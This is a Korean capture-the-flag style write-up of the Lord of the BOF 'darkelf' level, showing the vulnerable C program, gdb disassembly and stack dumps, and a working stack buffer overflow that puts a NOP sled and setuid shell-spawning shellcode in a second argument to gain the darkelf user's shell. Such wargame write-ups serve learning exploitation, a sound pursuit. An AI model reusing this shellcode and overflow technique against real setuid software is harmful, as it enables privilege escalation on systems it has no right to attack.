[LOB] wolfman

시작

안녕하세요!! :D

이번 문제.. 살짝 당황했지만 어찌어찌 풀어냈습니다 ㅋㅋㅋ

시작해보죠!!

Write UP

[wolfman@localhost wolfman]$ ll 
total 20 
-rwsr-sr-x    1 darkelf  darkelf     12655 Feb 26  2010 darkelf 
-rw-r--r--    1 root     root          721 Mar 29  2010 darkelf.c 
[wolfman@localhost wolfman]$ 
[wolfman@localhost wolfman]$ cat darkelf.c 
/* 
        The Lord of the BOF : The Fellowship of the BOF 
        - darkelf 
        - egghunter + buffer hunter + check length of argv[1] 
*/ 

#include  
#include  

extern char **environ; 

main(int argc, char *argv[]) 
{ 
        char buffer[40]; 
        int i; 

        if(argc < 2){ 
                printf("argv error\n"); 
                exit(0); 
        } 

        // egghunter 
        for(i=0; environ[i]; i++) 
                memset(environ[i], 0, strlen(environ[i])); 

        if(argv[1][47] != '\xbf') 
        { 
                printf("stack is still your friend.\n"); 
                exit(0); 
        } 

        // check the length of argument 
        if(strlen(argv[1]) > 48){ 
                printf("argument is too long!\n"); 
                exit(0); 
        } 

        strcpy(buffer, argv[1]); 
        printf("%s\n", buffer); 

        // buffer hunter 
        memset(buffer, 0, 40); 
}

argv[1]의 길이를 검사하는 구문이 추가되었습니다.

최대 48개의 문자만 받을 수 있게 됐군요..

환경변수, 버퍼를 사용할 수 없는 상황에서 어디에 쉘코드를 삽입해야 할 지 의문입니다.

if(argc < 2){ 
      printf("argv error\n"); 
      exit(0);
}

이 부분을 볼까요?

argc는 인자값의 개수를 뜻합니다. 적어도 하나 이상의 인자값을 달라는 소리죠.

첫 번째 인자값은 길이의 제한이 걸렸습니다. 하지만 두 번째 인자값부터는 어떻게 될까요?

아무 제한이 없죠? 쉘코드를 이 부분에 삽입하면 될 것 같네요.

(gdb) set disassembly-flavor intel 
(gdb) disas main 
Dump of assembler code for function main: 
0x8048500 :       push   %ebp 
0x8048501 <main+1>:     mov    %ebp,%esp 
0x8048503 <main+3>:     sub    %esp,44 
0x8048506 <main+6>:     cmp    DWORD PTR [%ebp+8],1 
0x804850a <main+10>:    jg     0x8048523 <main+35> 
0x804850c <main+12>:    push   0x8048670 
0x8048511 <main+17>:    call   0x8048410  
0x8048516 <main+22>:    add    %esp,4 
0x8048519 <main+25>:    push   0 
0x804851b <main+27>:    call   0x8048420  
0x8048520 <main+32>:    add    %esp,4 
0x8048523 <main+35>:    nop 
0x8048524 <main+36>:    mov    DWORD PTR [%ebp-44],0x0 
0x804852b <main+43>:    nop 
0x804852c <main+44>:    lea    %esi,[%esi*1] 
0x8048530 <main+48>:    mov    %eax,DWORD PTR [%ebp-44] 
0x8048533 <main+51>:    lea    %edx,[%eax*4] 
0x804853a <main+58>:    mov    %eax,%ds:0x80497a4 
0x804853f <main+63>:    cmp    DWORD PTR [%eax+%edx],0 
0x8048543 <main+67>:    jne    0x8048547 <main+71> 
0x8048545 <main+69>:    jmp    0x8048587 <main+135> 
0x8048547 <main+71>:    mov    %eax,DWORD PTR [%ebp-44] 
0x804854a <main+74>:    lea    %edx,[%eax*4] 
0x8048551 <main+81>:    mov    %eax,%ds:0x80497a4 
0x8048556 <main+86>:    mov    %edx,DWORD PTR [%eax+%edx] 
0x8048559 <main+89>:    push   %edx 
0x804855a <main+90>:    call   0x80483f0  
0x804855f <main+95>:    add    %esp,4 
0x8048562 <main+98>:    mov    %eax,%eax 
0x8048564 <main+100>:   push   %eax 
0x8048565 <main+101>:   push   0 
0x8048567 <main+103>:   mov    %eax,DWORD PTR [%ebp-44] 
0x804856a <main+106>:   lea    %edx,[%eax*4] 
0x8048571 <main+113>:   mov    %eax,%ds:0x80497a4 
0x8048576 <main+118>:   mov    %edx,DWORD PTR [%eax+%edx] 
0x8048579 <main+121>:   push   %edx 
0x804857a <main+122>:   call   0x8048430  
0x804857f <main+127>:   add    %esp,12 
0x8048582 <main+130>:   inc    DWORD PTR [%ebp-44] 
0x8048585 <main+133>:   jmp    0x8048530 <main+48> 
0x8048587 <main+135>:   mov    %eax,DWORD PTR [%ebp+12] 
0x804858a <main+138>:   add    %eax,4 
0x804858d <main+141>:   mov    %edx,DWORD PTR [%eax] 
0x804858f <main+143>:   add    %edx,47 
0x8048592 <main+146>:   cmp    BYTE PTR [%edx],0xbf 
0x8048595 <main+149>:   je     0x80485b0 <main+176> 
0x8048597 <main+151>:   push   0x804867c 
0x804859c <main+156>:   call   0x8048410  
0x80485a1 <main+161>:   add    %esp,4 
0x80485a4 <main+164>:   push   0 
0x80485a6 <main+166>:   call   0x8048420  
0x80485ab <main+171>:   add    %esp,4 
0x80485ae <main+174>:   mov    %esi,%esi 
---Type  to continue, or q  to quit--- 
0x80485b0 <main+176>:   mov    %eax,DWORD PTR [%ebp+12] 
0x80485b3 <main+179>:   add    %eax,4 
0x80485b6 <main+182>:   mov    %edx,DWORD PTR [%eax] 
0x80485b8 <main+184>:   push   %edx 
0x80485b9 <main+185>:   call   0x80483f0  
0x80485be <main+190>:   add    %esp,4 
0x80485c1 <main+193>:   mov    %eax,%eax 
0x80485c3 <main+195>:   cmp    %eax,48 
0x80485c6 <main+198>:   jbe    0x80485e0 <main+224> 
0x80485c8 <main+200>:   push   0x8048699 
0x80485cd <main+205>:   call   0x8048410  
0x80485d2 <main+210>:   add    %esp,4 
0x80485d5 <main+213>:   push   0 
0x80485d7 <main+215>:   call   0x8048420  
0x80485dc <main+220>:   add    %esp,4 
0x80485df <main+223>:   nop 
0x80485e0 <main+224>:   mov    %eax,DWORD PTR [%ebp+12] 
0x80485e3 <main+227>:   add    %eax,4 
0x80485e6 <main+230>:   mov    %edx,DWORD PTR [%eax] 
0x80485e8 <main+232>:   push   %edx 
0x80485e9 <main+233>:   lea    %eax,[%ebp-40] 
0x80485ec <main+236>:   push   %eax 
0x80485ed <main+237>:   call   0x8048440  
0x80485f2 <main+242>:   add    %esp,8 
0x80485f5 <main+245>:   lea    %eax,[%ebp-40] 
0x80485f8 <main+248>:   push   %eax 
0x80485f9 <main+249>:   push   0x80486b0 
0x80485fe <main+254>:   call   0x8048410  
0x8048603 <main+259>:   add    %esp,8 
0x8048606 <main+262>:   push   40 
0x8048608 <main+264>:   push   0 
0x804860a <main+266>:   lea    %eax,[%ebp-40] 
0x804860d <main+269>:   push   %eax 
0x804860e <main+270>:   call   0x8048430  
0x8048613 <main+275>:   add    %esp,12 
0x8048616 <main+278>:   leave 
0x8048617 <main+279>:   ret 
0x8048618 <main+280>:   nop 
0x8048619 <main+281>:   nop 
0x804861a <main+282>:   nop 
0x804861b <main+283>:   nop 
0x804861c <main+284>:   nop 
0x804861d <main+285>:   nop 
0x804861e <main+286>:   nop 
0x804861f <main+287>:   nop 
End of assembler dump. 
(gdb) b *main+242 
Breakpoint 1 at 0x80485f2

(gdb) r `python -c 'print "A" * 44 + "BBB" + "\xbf"'` `python -c 'print "\x90" * 100 + "CCCC"'` 
Starting program: /tmp/c_darkelf `python -c 'print "A" * 44 + "BBB" + "\xbf"'` `python -c 'print "\x90" * 100 + "CCCC"'`

파일명 argv[1] argv[2] 형태로 페이로드를 작성했습니다.

우리의 nop이 어디에 있는지 확인해봅시다.

(gdb) x/200wx $esp 
0xbffffa64:     0xbffffa70      0xbffffbe7      0x00000014      0x41414141 
0xbffffa74:     0x41414141      0x41414141      0x41414141      0x41414141 
0xbffffa84:     0x41414141      0x41414141      0x41414141      0x41414141 
0xbffffa94:     0x41414141      0x41414141      0xbf424242      0x00000000 
0xbffffaa4:     0xbffffae4      0xbffffaf4      0x40013868      0x00000003 
0xbffffab4:     0x08048450      0x00000000      0x08048471      0x08048500 
0xbffffac4:     0x00000003      0xbffffae4      0x08048390      0x0804864c 
0xbffffad4:     0x4000ae60      0xbffffadc      0x40013e90      0x00000003 
0xbffffae4:     0xbffffbd8      0xbffffbe7      0xbffffc18      0x00000000 
0xbffffaf4:     0xbffffc81      0xbffffc93      0xbffffcb2      0xbffffcd4 
0xbffffb04:     0xbffffce1      0xbffffea4      0xbffffec3      0xbffffee0 
0xbffffb14:     0xbffffef5      0xbfffff14      0xbfffff1f      0xbfffff2f 
0xbffffb24:     0xbfffff37      0xbfffff48      0xbfffff52      0xbfffff60 
0xbffffb34:     0xbfffff71      0xbfffff7f      0xbfffff8a      0xbfffff9d 
0xbffffb44:     0x00000000      0x00000003      0x08048034      0x00000004 
0xbffffb54:     0x00000020      0x00000005      0x00000006      0x00000006 
0xbffffb64:     0x00001000      0x00000007      0x40000000      0x00000008 
0xbffffb74:     0x00000000      0x00000009      0x08048450      0x0000000b 
0xbffffb84:     0x000001f9      0x0000000c      0x000001f9      0x0000000d 
0xbffffb94:     0x000001f9      0x0000000e      0x000001f9      0x00000010 
0xbffffba4:     0x0f8bfbff      0x0000000f      0xbffffbd3      0x00000000 
0xbffffbb4:     0x00000000      0x00000000      0x00000000      0x00000000 
0xbffffbc4:     0x00000000      0x00000000      0x00000000      0x69000000 
0xbffffbd4:     0x00363836      0x706d742f      0x645f632f      0x656b7261 
0xbffffbe4:     0x4100666c      0x41414141      0x41414141      0x41414141 
0xbffffbf4:     0x41414141      0x41414141      0x41414141      0x41414141 
0xbffffc04:     0x41414141      0x41414141      0x41414141      0x42414141 
0xbffffc14:     0x00bf4242      0x90909090      0x90909090      0x90909090 
0xbffffc24:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffffc34:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffffc44:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffffc54:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffffc64:     0x90909090      0x90909090      0x90909090      0x90909090 
0xbffffc74:     0x90909090      0x90909090      0x43434343      0x00000000 
0xbffffc84:     0x00000000      0x00000000      0x00000000      0x00000000 
0xbffffc94:     0x00000000      0x00000000      0x00000000      0x00000000 
0xbffffca4:     0x00000000      0x00000000      0x00000000      0x00000000 
0xbffffcb4:     0x00000000      0x00000000      0x00000000      0x00000000 
0xbffffcc4:     0x00000000      0x00000000      0x00000000      0x00000000 
0xbffffcd4:     0x00000000      0x00000000      0x00000000      0x00000000 
0xbffffce4:     0x00000000      0x00000000      0x00000000      0x00000000 
0xbffffcf4:     0x00000000      0x00000000      0x00000000      0x00000000 
0xbffffd04:     0x00000000      0x00000000      0x00000000      0x00000000 
0xbffffd14:     0x00000000      0x00000000      0x00000000      0x00000000 
0xbffffd24:     0x00000000      0x00000000      0x00000000      0x00000000 
0xbffffd34:     0x00000000      0x00000000      0x00000000      0x00000000 
0xbffffd44:     0x00000000      0x00000000      0x00000000      0x00000000 
0xbffffd54:     0x00000000      0x00000000      0x00000000      0x00000000 
0xbffffd64:     0x00000000      0x00000000      0x00000000      0x00000000 
0xbffffd74:     0x00000000      0x00000000      0x00000000      0x00000000

0xbffffc44의 위치를 사용하겠습니다.

[wolfman@localhost wolfman]$ /tmp/darkelf `python -c 'print "A" * 44 + "\x44\xfc\xff\xbf"'` `python -c 'print "|x90" * 100 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\xb0\x01\xcd\x80"'` 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD▒▒▒ 
bash$ id 
uid=505(wolfman) gid=505(wolfman) euid=506(darkelf) egid=506(darkelf) groups=505(wolfman) 
bash$ /bin/my-pass 
euid = 506 
kernel crashed

Exploit!!

마무리

인자값을 한 개 이상 사용할 수 있다는 것을 안다면

쉽게 풀 수 있는 문제였습니다.

저는 좀 오래 걸렸지만..ㅎㅎ

다음 문제로 넘어가겠습니다!!

​